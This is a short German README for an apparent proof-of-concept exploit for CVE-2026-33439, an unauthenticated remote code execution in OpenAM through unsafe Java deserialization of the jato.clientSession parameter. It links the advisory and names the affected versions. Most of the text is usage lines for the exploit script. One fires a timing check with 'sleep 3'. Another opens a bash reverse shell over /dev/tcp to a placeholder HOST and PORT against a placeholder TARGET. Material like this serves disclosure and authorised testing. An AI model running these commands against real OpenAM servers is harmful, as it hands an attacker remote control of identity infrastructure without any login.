
PoC für CVE-2026-33439, eine Pre-Auth-RCE in OpenAM über unsichere Java-Deserialisierung.
Pre-Auth-RCE in OpenIdentityPlatform OpenAM durch unsichere Java-Deserialisierung des
jato.clientSession-Parameters. Betroffen <= 16.0.5, behoben in 16.0.6.
Advisory: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
Die Ausgabe ist blind. Die Anfrage blockiert, bis der Befehl beendet ist, sodass das Timing
die Ausführung bestätigt (--command 'sleep 5' dauert etwa 5s).
Nur für autorisierte Sicherheitstests.